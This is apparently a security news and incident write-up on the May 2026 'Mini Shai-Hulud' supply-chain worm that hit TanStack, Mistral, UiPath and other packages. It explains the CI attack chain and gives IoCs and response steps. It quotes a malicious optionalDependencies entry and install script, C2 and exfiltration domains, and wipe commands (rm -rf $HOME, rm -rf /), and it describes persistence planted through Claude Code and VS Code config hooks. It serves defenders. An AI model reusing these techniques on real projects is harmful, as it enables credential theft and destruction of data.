Tech 30 min read

Mini Shai-Hulud hits TanStack & Mistral npm: CVE-2026-45321 (CVSS 9.6), TeamPCP campaign chain

IkesanContents

TL;DR

Last updated May 17, 2026 17:35 JST. New: TeamPCP open-sourced the Shai-Hulud worm on GitHub (May 12), BreachForums launched a paid supply-chain attack challenge (May 15), and a first copycat already shipped a FreeBSD PR. Details in the follow-up post. Mistral AI also confirmed a codebase management system breach on May 12 via the supply chain, and TeamPCP claims to be selling ~5GB / ~450 Mistral repositories for $25,000 on a hacking forum. Earlier: OpenAI confirmed two employee devices compromised in the TanStack wave; ChatGPT macOS app signing certificate being rotated. Orphaned-commit path detail (fork↔base commit object sharing makes github:tanstack/router#<hash> resolve to the attacker fork). May 14: 1,800+ developer victims; Packagist hit via intercom/intercom-php@5.0.2 (20.7M lifetime installs); initial @uipath / @mistralai payload had a bug, but a fixed version is now staged (per Wiz, May 13 02:30 UTC)

What happened May 11, 2026 UTC: 42 TanStack npm packages compromised (84 malicious versions). Spread to UiPath (60+), Mistral, OpenSearch, guardrails-ai, Checkmarx Jenkins — nearly 200 packages total. CVE-2026-45321 (CVSS 9.6 / Critical). First observed malicious npm carrying valid SLSA Build Level 3 provenance. Downstream credential reuse touches 1,000+ SaaS environments per Mandiant

Who TeamPCP (Google GTIG tracks as UNC6780). Same operators as Aqua Trivy (Mar 2026), Bitwarden CLI npm (Apr 2026), and Checkmarx Jenkins AST Plugin (May 9, 2026) — a continuous campaign, not a one-off

What to do If any dev machine or CI runner ran npm install / pnpm install / yarn install with affected versions:

  1. Network-isolate the machine
  2. Kill the gh-token-monitor daemon
  3. Then revoke and rotate npm, GitHub, AWS, GCP, Kubernetes, Vault, and SSH credentials

Reversing steps 2 and 3 triggers rm -rf $HOME from the monitor when it detects token revocation. Also inspect ~/.claude/ and .vscode/tasks.json on developer machines

What to grep Lockfiles, package caches, and CI logs for router_init.js, tanstack_runner.js, @tanstack/setup, unexpected Bun execution, and unexpected npm publish activity. Payload SHA256 ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c. C2 domains: api.masscan.cloud, git-tanstack.com. Exfil domain: *.getsession.org. Worth grepping DNS logs too

Secondary risk Vect “ransomware” is actually a wiper — destroys files larger than 128KB, no decryption capability. Plan DR assuming payment does not recover data

2026-05-17 follow-up: The worm’s full source code is now on GitHub, and a paid attack challenge on BreachForums is already running (May 15). Details are in a separate post: TeamPCP open-sources Shai-Hulud worm; BreachForums runs paid attack challenge. Reading that first makes the current state easier to parse.

2026-05-20 follow-up: A new Mini Shai-Hulud wave hit 314 npm packages under @antv (SafeDep tally) via the atool maintainer account. This time the entry points stay on the developer machine even after the lockfile rollback. SessionStart hooks in .claude/settings.json and folderOpen tasks in .vscode/tasks.json show up in the IoC list. Details are in Mini Shai-Hulud npm wave hits @antv: Claude Code and VS Code persistence outlives lockfile rollback.


On May 11, 2026 between 19:20 and 19:26 UTC, 84 malicious versions were published across 42 TanStack npm packages.
TanStack’s official postmortem describes the attack as a chain linking pull_request_target, GitHub Actions cache poisoning, and OIDC token extraction from the runner’s memory.

Aikido’s investigation shows this wasn’t limited to TanStack.
They detected 373 malicious package-versions across 169 package names as part of the current Mini Shai-Hulud wave. StepSecurity then reported further expansion past 170 packages, including 50+ UiPath packages and DraftLab. Affected scopes include @tanstack, @mistralai, @uipath, @squawk, and @tallyui.

The threat group is attributed as TeamPCP. According to StepSecurity, the same operators are behind the Aqua Security Trivy scanner compromise (March 2026), the Bitwarden CLI npm compromise (April 2026), and the Checkmarx Jenkins AST Plugin compromise (May 9, 2026) — a continuous campaign line rather than a one-off. The Dune-themed naming for operational branches (fremen, sandworm, harkonnen) carries over from prior waves. The current incident has been assigned CVE-2026-45321 (CVSS 9.6 / Critical).

The blast radius extends beyond React projects using @tanstack/react-router or @tanstack/history — any environment pulling the Mistral SDK in CI is also caught up.
Aikido lists the compromised Mistral versions as @mistralai/mistralai 2.2.2, 2.2.3, 2.2.4, and @mistralai/mistralai-azure / @mistralai/mistralai-gcp 1.7.1 through 1.7.3.
Mistral has also published an official security advisory, stating that there are no signs of compromise on Mistral’s own infrastructure and noting that the PyPI release mistralai==2.4.6 runs a malicious script on import.

TanStack was hit via OIDC abuse on the runner, not npm token theft

The most unsettling part of TanStack’s postmortem is that no npm tokens were stolen.
The release workflow itself didn’t push malicious packages through its defined publish steps either.

Here’s how the attack chain worked.

graph TD
    A["攻撃者がfork PRを作成"] --> B["pull_request_target workflowで<br/>fork側コードが実行"]
    B --> C["pnpm store cacheを汚染"]
    C --> D["mainへの通常pushで<br/>release workflowが起動"]
    D --> E["汚染cacheをrestore"]
    E --> F["runner内でOIDC tokenを抽出"]
    F --> G["registry.npmjs.orgへ直接publish"]
    G --> H["42パッケージ84バージョンが汚染"]

Trusted publishing is designed to remove long-lived npm tokens from GitHub Actions.
It uses GitHub Actions OIDC to issue short-lived publish tokens for npm.
A sound design when the workflow is clean — but when an attacker’s code runs on the runner, that short-lived token gets used on the spot.

Provenance only proves “where the build ran,” not “whether the build was safe.”
The axios incident where a maintainer was compromised via RAT was about seizing a legitimate maintainer’s machine, making 2FA and local publishing the weak points.
This time, the legitimate release workflow’s permissions were directly consumed by malicious code on the runner.
In both cases, the “trusted path” collapses the moment it falls into the attacker’s hands.

How the OIDC token was actually lifted is fairly hands-on. Cross-referencing Aikido, Socket, and StepSecurity’s analyses, the payload reads /proc/<pid>/mem directly and scans the GitHub Actions runner process heap for JSON objects shaped like {"value":"...","isSecret":true}. That pulls out both masked secrets and the raw OIDC JWT in one pass. GitHub Actions log masking (the *** substitution) only affects log output — the raw values still sit in process memory, and that’s the gap being exploited.

Valid SLSA provenance doesn’t make the package safe

The compromised TanStack versions carry a properly signed SLSA Build Level 3 provenance attestation. StepSecurity describes this as “the first documented case of a validly-attested malicious npm package.”

Provenance cryptographically guarantees that “this artifact was produced from this public repo’s specified workflow, using this commit as input.” That guarantee held in this case too — the malicious versions were published by TanStack’s legitimate GitHub Actions workflow, starting from a legitimate commit, through the registered pipeline path. The artifacts were still malicious.

Provenance only tells you which pipeline built the artifact, not whether the pipeline behaved as intended. With fork-PR cache poisoning landing earlier in the chain, the workflow definition stayed healthy while only its internal state was corrupted.

The practical takeaway for consumers is to stop treating provenance verification as a sufficient trust boundary. Concretely: don’t read “SLSA signature OK” on a dependency as “safe”; add post-publish monitoring right after new releases (new lifecycle scripts, tarball file diffs, Git references in optional dependencies) for time-shifted detection; and on the publishing side, audit the combination of pull_request_target with branch/workflow pinning when using trusted publishing. Only at that depth does this attack surface actually close.

Malicious packages pull their payload from GitHub via optional dependencies

The compromised TanStack packages had router_init.js injected at the root.
Additionally, package.json had an optional dependency pointing to a specific commit on GitHub.

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

The hash 79ac49eedf774dd4b0cfa308722bc463cfe5885c was pushed as an orphaned commit (a commit with no parent history, fully detached from the main branch tree) directly into a fork, voicproducoes/router, that the attacker account created on May 10, 2026.
GitHub stores commit objects in shared storage between a fork and its base, so a commit hash pushed to a fork is reachable through the parent repository’s URL as well. That means github:tanstack/router#79ac49ee... looks like a reference to the official TanStack repository, but actually resolves to the orphaned commit in the attacker’s fork.
The same hash is also reachable as a target for pull_request_target workflow dispatch, which runs fork code with base-repository permissions and gave the attacker the entry point for Actions cache poisoning. One orphaned commit serves as both the cache-poisoning execution start and the optional-dependency distribution start.

This Git dependency has a prepare script that runs bun run tanstack_runner.js && exit 1.
Since Git dependency lifecycle scripts execute at install time, the payload runs during what looks like normal dependency resolution.

The trailing exit 1 isn’t sloppy — it’s deliberate.
Because this is an optional dependency, failure doesn’t necessarily stop the overall install.
The payload runs first, then the failure is absorbed as just an optional dependency that didn’t work out.

This is the same attack surface as the fake Strapi plugins that used postinstall.js for immediate execution — npm lifecycle scripts remain a reliable entry point.
The difference is that this time it wasn’t a fake package; it was injected through a path close to the legitimate release pipeline.

The exfiltration targets assume a CI runner environment

Aikido’s analysis shows the payload targets CI environments specifically, not just developer machines.
It goes after more than npm and GitHub tokens — AWS metadata, GCP metadata, Kubernetes service account tokens, Vault tokens, environment variables, and secrets on the local filesystem are all in scope.

This kind of worm turns compromised environments into the next publish origin.
It uses stolen npm and GitHub credentials to find packages the victim can publish, modifies the package archive, bumps the version, and republishes.
SANDWORM_MODE also centered on worm propagation via npm tokens, GitHub tokens, and SSH.
Mini Shai-Hulud appears to layer GitHub Actions OIDC and trusted publishing abuse on top of that.

Traces tend to show up in lockfiles and CI logs.
If you see @tanstack/setup, github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c, router_init.js, router_runtime.js, tanstack_runner.js, or bun run tanstack_runner.js, treat that environment as compromised.
In CI logs, look for unexpected Bun execution during install, optional dependency failures, unexpected OIDC token requests, and unexpected npm publish activity.

Concrete IoCs are also out in the open. The SHA256 of router_init.js is ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c. C2 endpoints are api.masscan.cloud and git-tanstack.com, and exfiltration uses subdomains under *.getsession.org. The attacker’s GitHub account is voicproducoes (created 2026-03-19), and the malicious auto-commits are signed with the spoofed address claude@users.noreply.github.com — that address is not an Anthropic-official identity, so if it shows up in repo commit history, treat it as a compromise signal. Blocking DNS queries for getsession.org is a reasonable short-term detection and containment move.

.claude/ and .vscode/ persistence on developer machines

The uncomfortable part of Socket’s and StepSecurity’s findings is that the payload doesn’t stop at the CI runner. When npm install runs on a developer machine, it installs an independent persistence layer locally.

Observed write targets include:

  • ~/.claude/router_runtime.js and rewrites to ~/.claude/settings.json hook definitions
  • An auto-launch task added to .vscode/tasks.json directly under the project

A .vscode/tasks.json injection means the attacker’s task fires the moment that folder is opened in VS Code. A hook rewrite in .claude/settings.json means the payload runs every time Claude Code starts. Neither survives only at the npm layer — they remain after npm uninstall or even a node_modules reinstall.

For triage on a potentially affected developer machine, look at:

  • ~/.claude/ for an unfamiliar router_runtime.js or a tampered settings.json
  • The project’s .vscode/tasks.json for unfamiliar tasks
  • VS Code “automatically open this folder” history, if it’s enabled for the affected project

If anything turns up, treat that machine as compromised and proceed to the full credential rotation TanStack’s postmortem prescribes.

Follow-up: PyTorch Lightning, SAP-targeting npm, fake tanstack

Aikido’s follow-up coverage shows that Mini Shai-Hulud doesn’t end with TanStack and Mistral. Spread has been observed in PyTorch Lightning on PyPI, npm packages targeting SAP, and fake tanstack-named packages.

The PyTorch Lightning report confirms Mini Shai-Hulud-style malicious code in PyPI’s lightning package, versions 2.6.2 and 2.6.3 — note that lightning is Lightning.ai’s current unified package name, not the legacy pytorch-lightning.
If you’re only looking at npm you’ll miss this, but the same “grab secrets at install time” pattern needs to be checked on the Python side too. ML CI in particular tends to carry cloud credentials, model-distribution tokens, and experiment-tracking API keys, so don’t scope the impact assessment to JavaScript projects only.

Another Aikido write-up covers SAP-targeting npm packages hit with a Bun-based preinstall payload.
They steal GitHub, npm, cloud, and CI secrets and propagate via OhNoWhatsGoingOnWithGitHub. Same as the router_init.js + optional dependency pattern in this post, lifecycle scripts during dependency resolution should be treated as the entry point.

There’s also a fake tanstack package incident where four versions were published in 27 minutes, exfiltrating .env via postinstall.
That’s a separate operation from the genuine TanStack compromise, but the failure mode is collateral: developers reading the news search the name and pull in the typosquat. Audit not only @tanstack/* in your lockfiles but also bare tanstack-style imitation names.

PyPI side adds Mistral SDK and guardrails-ai

As of May 12, 2026, PyPI’s mistralai==2.4.6 and guardrails-ai==0.10.1 are both in quarantine. StepSecurity’s Mini Shai-Hulud list now includes both packages.

If you only watch npm’s @mistralai/*, you’ll miss ML pipelines that pull the Python Mistral SDK via pip install. Combined with PyTorch Lightning 2.6.2/2.6.3 noted earlier, the PyPI side now covers three compromised packages.

guardrails-ai is a library for guarding LLM outputs and is likely sitting in AI-focused CI. If you recently added mistralai or guardrails-ai, rotate secrets to the same standard as the npm side — cloud credentials, HuggingFace tokens, and any API keys reachable during install.

On the npm side, @opensearch-project/opensearch@3.6.2 has also been added to StepSecurity’s compromised list. Beyond TanStack, UiPath, and Mistral, the search-infrastructure Node client family is in scope too — one extra line for the checklist.

Expansion as of May 13, 2026

The blast radius kept widening through May 12 and 13. Combining Wiz’s follow-up with The Hacker News coverage (citing OX Security), the npm side alone is closing in on 200 compromised packages, with 518M cumulative downloads and 400+ attacker-created GitHub repositories used to store exfiltrated credentials.

StepSecurity’s report also places intercom-client@7.0.4 (published April 30, 2026) as an earlier TeamPCP victim. The Mini Shai-Hulud “first move” was an Intercom client npm package rather than TanStack. The sequence reads as Trivy (March 2026), Bitwarden CLI (April 2026), intercom-client (April 30, 2026), Checkmarx Jenkins AST Plugin (May 9, 2026), then the TanStack wave (May 11, 2026).

The Intercom wave also compromised the Packagist package intercom-php at the same time, as summarized in SANS ISC Weekly W18. That is the first observed worm propagation crossing npm → PyPI → Packagist in production. “Don’t scope this to JavaScript projects” extends beyond ML-focused PyPI to PHP projects’ composer install path. Laravel or Symfony pipelines that pull intercom/intercom-php need the same rotation discipline as the npm side.

New scope and version details confirmed as of May 13:

  • @uipath: 50+ → 60+ packages
  • @draftauth scope added, separate from the previously-noted @draftlab
  • @opensearch-project/opensearch: Wiz tracks the affected range as 3.5.3 through 3.8.0, wider than StepSecurity’s initial single-version note of 3.6.2

For exfiltration, beyond *.getsession.org domains, the campaign is now observed using the Session messenger network itself. Session is a decentralized, encrypted messenger with no central server, so DNS blocks or single-domain takedowns don’t fully stop the channel. Short-term, blocking DNS queries for getsession.org still helps, but expect domain rotation while the same Session backbone keeps serving as the next window.

TeamPCP and the prior Trivy / Bitwarden CLI / Checkmarx Jenkins compromises

StepSecurity’s report frames this wave as one chapter in a continuous campaign by the group signing itself as “TeamPCP.” The same operators reportedly compromised Aqua Security’s Trivy scanner in March 2026 and Bitwarden CLI’s npm distribution in April 2026. Palo Alto Networks Unit 42’s campaign analysis lines up Trivy → KICS → LiteLLM → VS Code extensions → Bitwarden → SAP-targeting npm → TanStack/Mistral as a single operation, framed under “Weaponizing the Protectors” — the supply chains of security tooling are being systematically targeted.

What ties the playbooks together is that the targets themselves are legitimate maintainers’ legitimate release paths — the operators slip through holes in CI/CD configuration (fork PRs, caches, OIDC, trusted publishing) and ride the legitimate identity all the way to distribution. The attack surface is the boundary design of the CI/CD pipeline, not the OS or the application itself.

The practical implication: unless your repo’s pull_request_target, cache scope, id-token: write scope, third-party action SHA pinning, and trusted publishing branch/workflow pinning are at least as tight as TanStack’s, you’re exposed to the same technique. The group rotates targets while reusing the same template, so “we don’t use TanStack, doesn’t apply to us” doesn’t hold.

Checkmarx Jenkins AST Plugin compromise (May 9, 2026)

Two days before the TanStack wave, on May 9, 2026, Checkmarx’s Jenkins AST plugin version 2026.5.09 was compromised by TeamPCP, as reported by The Hacker News, The Register, and SecurityWeek. The attacker also renamed the AST plugin listing page on repo.jenkins-ci.org to Checkmarx-Fully-Hacked-by-TeamPCP-and-Their-Customers-Should-Cancel-Now and altered the description text. Any Jenkins instance that pulled the affected version during the exposure window should be treated as compromised.

The last known clean version was 2.0.13-829.vc72453fa_1c16 from December 2025. The tone of Checkmarx’s official notice is that any secret visible to the Jenkins runner — GitHub tokens, AWS/GCP/Azure credentials, Kubernetes configs, SSH keys, API keys in environment variables — should be considered exposed.

In timeline terms, this slots in between the TanStack wave and the earlier intercom-client compromise, and is easy to miss if you only watch the TanStack story.

Mandiant counts 1,000+ downstream SaaS environments and names victims

Downstream breaches that reuse credentials harvested from TeamPCP’s primary compromises (Trivy, LiteLLM, Bitwarden, SAP, TanStack and other CI/CD paths) reach 1,000+ SaaS environments per Mandiant’s count (SANS ISC Update 006). Beyond Guesty, USHA International, and S&P Global from the Vect partnership listed in the next section, named downstream victims observed so far include:

OrganizationPath / scaleSource
CiscoSource code stolen via the Trivy scanner compromiseSANS ISC Update 007
European CommissionCERT-EU confirms a cloud breachUpdate 006
SportradarSports data provider; multiple customer downstreams affectedUpdate 006
DatabricksMajor cloud platform under investigation as the first downstream of its sizeSANS ISC Update 004
MercorAI talent marketplace confirms a supply-chain-originated leakAviatrix Threat Research

Google GTIG now tracks TeamPCP as UNC6780. When correlating reports across vendors, watch all four labels — TeamPCP / UNC6780 / Vect affiliate / BreachForums thread — to avoid losing channel-specific coverage of the same operation.

The practical implication shifts the question from “did I install a compromised package?” to “do I rely on a SaaS reachable from credentials TeamPCP stole?” An organization that uses neither TanStack nor Mistral can still sit inside Mandiant’s 1,000+ SaaS sample if it ran Trivy, Checkmarx KICS, Bitwarden CLI, LiteLLM, SAP-targeting npm, or the Checkmarx Jenkins AST Plugin through CI in the last six months. The inventory expands from “dependencies I pulled” to “SaaS reachable via stolen credentials.”

OpenAI confirms two employee devices compromised in the TanStack wave; macOS app signing certificate being rotated

OpenAI’s official statement confirms that two employee devices were compromised via Mini Shai-Hulud (TanStack npm path). OpenAI reports no evidence of access to user data, production systems, intellectual property, or shipped software. In response, the ChatGPT macOS application’s signing certificate is being rotated, and macOS users will need to update to the latest version.

All of the Mandiant-counted 1,000+ SaaS downstream victims (Cisco, Sportradar, Databricks, Mercor, European Commission) trace back to earlier waves (Trivy, LiteLLM, Bitwarden). OpenAI is the first publicly named downstream victim tied directly to the TanStack wave (May 11). It is the first concrete observation of credentials moving from a legitimate maintainer’s legitimate release pipeline to a major AI company’s employee endpoints within 48 hours.

Vect ransomware partnership: secondary damage phase

On April 15, 2026, the Vect ransomware group announced on a public forum that it was targeting organizations TeamPCP had previously breached, and named the property-management SaaS Guesty as the first victim, exfiltrated via the Trivy/LiteLLM campaign (Halcyon Ransomware Alerts, Industrial Cyber, Socket). They claim approximately 4 million emails and 700GB of data exfiltrated.

Named victims listed since:

  • Guesty (property-management SaaS, ~700GB from the Trivy/LiteLLM campaign)
  • USHA International (Indian manufacturing, employee data and SAP databases)
  • S&P Global (claimed publicly, unconfirmed by third parties)

Three organizations so far. The shape is: TeamPCP exfiltrates CI/CD, cloud, and SaaS secrets in the first stage, and Vect then targets those organizations in the second.

Worth noting separately: TeamPCP also runs its own ransomware operation, CipherForce, in parallel with the Vect partnership (SANS ISC Update 004). If Vect is “the RaaS funnel pulling in the BreachForums affiliate pool (roughly 300,000 registered users),” CipherForce is “TeamPCP’s in-house independent operation.” Both run downstream from the same primary breaches at the same time. From a victim’s perspective, there isn’t a single counterparty to negotiate with, so “paying Vect ends it” isn’t sufficient — separate-channel data publication or destruction has to be in the threat model as well.

The operationally dangerous part: while Vect calls itself “ransomware,” the implementation is a wiper and there is no decryption functionality. Independent confirmations from Check Point Research, The Register, Halcyon, and CSA Lab Space show Vect destroys any file larger than 128KB. VM disks, databases, documents, backups — virtually every file with real content exceeds that threshold, so paying the ransom does not bring the data back.

Any organization that ran npm install against the TanStack wave needs both of these in its DR plan and IR runbook:

  • “Do not start with token revoke” (the gh-token-monitor wipes the host)
  • “Do not treat ransom payment as a recovery option” (Vect destroys rather than encrypts)

That means strengthening the “restore from backup” assumption, increasing offline-stored and immutable snapshots, and similar measures.

Token-revocation wipe and geofenced destruction

This is the most operationally dangerous piece of the campaign. The payload carries a dead man’s switch that runs rm -rf $HOME when it detects token revocation. Confirmed in Semgrep’s analysis and a DevOps Daily breakdown.

The payload installs a persistent daemon named gh-token-monitor:

  • Linux: ~/.config/systemd/user/gh-token-monitor.service plus ~/.local/bin/gh-token-monitor.sh
  • macOS: ~/Library/LaunchAgents/com.user.gh-token-monitor

It polls GitHub’s API every 60 seconds with the stolen token. When the response is HTTP 40x (token revoked), it executes the rm -rf "$HOME" handler stored at ${CONFIG_DIR}/handler. Semgrep’s analysis cites the unambiguous string IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner inside the payload. If untriggered for 24 hours, the daemon exits cleanly, limiting its forensic footprint.

Separately, Upwind’s analysis describes a geofenced destruction path where a roulette.py module probabilistically runs rm -rf / when the host appears to be in Israel or Iran. The exact probability isn’t disclosed, but Upwind notes the randomization is deliberate — making destructive behavior harder to correlate across victims.

BleepingComputer cites Microsoft Threat Intelligence reporting an additional layer in the Mistral AI variant of the payload: execution is suppressed when the host’s language settings indicate Russian. Combined with the Israel / Iran probabilistic wipe, the geographic logic reads as “avoid hosts in the operator’s likely region, optionally destroy hosts in specific adversary regions” — a deliberate operator-side fingerprint rather than incidental behavior.

The practical implication is sharp: the textbook “revoke tokens first” incident response sequence is a self-detonation against this attack. The order has to be inverted:

  1. Network-isolate the host (cuts C2 traffic and the token-validation pings)
  2. Stop and remove gh-token-monitor services from ~/.config/systemd/user/ and ~/Library/LaunchAgents/ (systemctl --user stop / launchctl unload)
  3. Remove residual payload files like ${CONFIG_DIR}/handler
  4. Only then revoke and rotate npm, GitHub, AWS, GCP, Kubernetes, Vault, and SSH credentials
  5. Rebuild the host from clean install — including pulling out the .claude/ and .vscode/ persistence — rather than cleaning in place

CI runners are easier when they’re ephemeral. Self-hosted long-lived runners need the same ordering, or the $HOME of the runner host gets caught in the same wipe.

Update as of May 14, 2026

The @uipath and @mistralai payload had a bug, then a fixed version was staged

Wiz’s tracking added a May 13, 02:30 UTC note: the payload mixed into the compromised @uipath/* and @mistralai/* versions had an implementation bug and was non-functional. The same update also reports that a fixed payload — with the rm -rf bug repaired — has been observed staged.

The operational implication pushes back on the tempting read of “I installed a compromised version, but nothing happened, so I’m fine.”
You can’t tell from inside an affected environment whether you caught the dead window of the broken payload or the live window of the fixed one.
Apply the same baseline used for the TanStack wave (full rotation of cloud, GitHub, SSH, Vault, and Kubernetes secrets; verifying that no gh-token-monitor persistence is present; inspecting ~/.claude/ and .vscode/tasks.json) to environments that pulled @uipath/* or @mistralai/* as well.

Cumulative damage: 1,800+ developers, 172 packages, 403 versions

Across May 13-14, Mend published an aggregate of 172 unique packages / 403 malicious versions (npm + PyPI, over a 48-hour window). SecurityWeek, Security Boulevard, and Resecurity describe the same Mini Shai-Hulud campaign (cross-ecosystem npm / PyPI / Packagist) as having affected 1,800+ developers. That is roughly a 4x increase from the earlier “400+ attacker-created GitHub repositories” figure (OX Security count as of May 12).

intercom/intercom-php@5.0.2 was delivered via a Composer plugin, 20.7M lifetime installs

Socket’s analysis and Semgrep’s analysis identify the compromised Packagist version as intercom/intercom-php@5.0.2, with arbitrary code execution delivered via a Composer plugin.
Scale: 20.7M lifetime installs, 285K monthly installs, 12.7K daily installs — widely deployed on the PHP side.

Since intercom-client@7.0.4 on npm was compromised at the same time, this is now confirmed as a coordinated attack against both ecosystems. The “npm → PyPI → Packagist three-ecosystem crossover” mentioned earlier finds its first concrete example in this Intercom double-compromise. Laravel or Symfony pipelines that pull intercom/intercom-php should immediately check vendor/ and the relevant line in composer.lock.

Mistral AI confirms codebase breach, TeamPCP advertises $25,000 sale

Hackread’s May 14, 2026 piece carries an official Mistral AI statement: on May 12, 2026, one of Mistral’s codebase management systems was temporarily compromised via a third-party supply chain attack. Mistral states that only non-core repositories were accessed; hosted services, managed user data, and research/testing environments are not affected.

On the same day, TeamPCP listed approximately 5 GB / 450 repositories of Mistral internal code on a hacking forum for $25,000. The seller claims the archive covers training systems, fine-tuning projects, benchmarking tools, dashboards, inference infrastructure, experiments, and future AI projects. Mistral’s “non-core only” framing and the seller’s broader claim have not been independently reconciled by third parties.

The implication here sits on a different axis from npm @mistralai/* downstream cleanup: the TanStack-wave initial compromise has reached source-code theft and resale against a major AI vendor. Together with the OpenAI two-device disclosure above, it marks the TanStack wave moving into a “supply-chain compromise → individual-organization breach” phase.

Update as of May 17, 2026, the worm source itself is on GitHub

As noted at the top, the detail of the May 12+ developments is split into a separate post. The timeline lives here.

TeamPCP put the full Shai-Hulud worm source on GitHub on May 12, 2026, through three likely-compromised accounts (agwagwagwa, headdirt, tmechen). The README read “Shai–Hulud: Open Sourcing The Carnage” and “Change keys and C2 as needed.” GitHub removed it quickly, but forks had already spread, and a copycat named agwagwagwa had shipped a pull request adding FreeBSD support before takedown.

On May 15, TeamPCP and BreachForums jointly opened a paid challenge — use the worm, prove intrusion, maximize downstream impact.

Detection rules built only on Mini Shai-Hulud IoCs (router_init.js, @tanstack/setup, api.masscan.cloud, and so on) won’t hit modified variants. New SessionStart hooks, new folderOpen tasks, processes reading /proc/<pid>/mem, or short windows of bulk npm publishes work better as common signals.

Upgrading the version isn’t enough

Even after unpublishing or deprecating the compromised versions, machines and runners that already installed them are a separate problem.
TanStack’s postmortem recommends rotating credentials for AWS, GCP, Kubernetes, Vault, GitHub, npm, and SSH on any environment that installed the affected versions on May 11, 2026.

Checking only the lockfile misses CI ephemeral environments and caches.
GitHub Actions caches, npm/pnpm/yarn package caches, self-hosted runner workspaces, artifacts, and recent publish history all need review.
Self-hosted runners in particular aren’t ephemeral — recreating the runner from scratch becomes a realistic option.

TanStack has since deleted all cache entries, restructured the pull_request_target workflow, added a repository owner guard, and pinned third-party actions by SHA.
For your own repos, the starting point is checking whether fork PR code gets checked out and built under pull_request_target, whether caches are stored on the base repo side, and whether id-token: write is scoped too broadly.

For the next supply-chain wave, narrowing the install entry point with the release-age gate and ignore-scripts on npm / pnpm / Yarn covers a lot. pnpm 11.0 shipped minimumReleaseAge=1440 (1 day) ON by default — that change, plus per-package-manager configs and what breaks when ignore-scripts: true is set, is covered in the pnpm 11 / Yarn 4.10 / npm v11.10 install-blocking config post.


Primary and near-primary sources include TanStack’s official Postmortem, Aikido’s Mini Shai-Hulud Is Back, Socket’s analysis, StepSecurity’s report, Palo Alto Networks Unit 42’s TeamPCP campaign analysis, Snyk’s post, and Endor Labs’ post.
On the Vect ransomware partnership: Halcyon, Industrial Cyber, Socket. On Vect’s actual behavior: Check Point Research.
Downstream victims, the CipherForce parallel operation, the UNC6780 alias, and the three-ecosystem Packagist crossover are tracked across SANS ISC’s ongoing TeamPCP coverage (Update 004 / Update 006 / Update 007 / Weekly W18) and the Aviatrix threat research on the Mercor case.
For May 13-14 follow-ups: Wiz tracking, JFrog Security Research, Mend’s aggregate, Socket on intercom-php, Semgrep on intercom-php. The 1,800+ developer count comes from SecurityWeek, Security Boulevard, and Resecurity.
Package lists and IoCs are still moving, so for final confirmation, the Affected Packages And Versions / IoC sections in each vendor’s article are the fastest reference.